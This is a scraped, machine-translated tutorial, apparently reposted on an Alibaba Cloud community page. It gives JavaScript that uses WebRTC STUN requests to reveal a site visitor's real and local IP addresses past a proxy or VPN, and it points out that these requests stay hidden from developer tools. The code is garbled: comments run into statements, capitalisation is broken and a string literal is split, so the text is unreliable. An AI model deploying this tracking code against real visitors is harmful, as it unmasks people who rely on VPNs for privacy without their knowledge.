JS Bypass proxy, VPN access to real IP and intranet IP, the implementation of reverse tracking method _javascript Skills

Source: Internet
Author: User

Firefox and Chrome support WEBRTC can request the stun server to return to the intranet IP, unlike the XMLHttpRequest request, stun request is not seen in the developer tool.

Get the IP addresses associated with a account function Getips (callback) {var ip_dups = {}; Compatibility for Firefox and chrome var rtcpeerconnection = window. rtcpeerconnection | | window.mozrtcpeerconnection | |
  Window.webkitrtcpeerconnection;

  var mediaconstraints = {optional: [{rtpdatachannels:true}]};  Firefox already has a default stun server in About:config//media.peerconnection.default_iceservers =//[{URL]:

  "Stun:stun.services.mozilla.com"}] var servers = undefined; Add same stun server for Chrome if (window.webkitrtcpeerconnection) servers = {iceservers: [{urls: Stun:stun.servi

  Ces.mozilla.com "}]};

  Construct a new rtcpeerconnection var pc = new Rtcpeerconnection (servers, mediaconstraints); 

      Listen for candidate Events pc.onicecandidate = function (ICE) {//skip non-candidate events if (ice.candidate) { Match just the IP address var Ip_regex =/([0-9]{1,3} (\.[ 0-9]{1,3}) {3})/var ip_adDr = Ip_regex.exec (ice.candidate.candidate) [1];

      Remove duplicates if (ip_dups[ip_addr] = = undefined) callback (IP_ADDR);
    IP_DUPS[IP_ADDR] = true;

  }
  };

  Create a bogus data channel Pc.createdatachannel (""); Create an offer SDP Pc.createoffer (function (result) {//trigger The stun server request Pc.setlocaldescription

  (Result, function () {});
}, function () {}); Test:print the IP addresses into the console getips (function (IP) {console.log (IP);});

The above JS Bypass proxy, VPN access to real IP and intranet IP, reverse tracking is the realization of small series to share all the content, hope to give you a reference, but also hope that we support the cloud habitat community.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.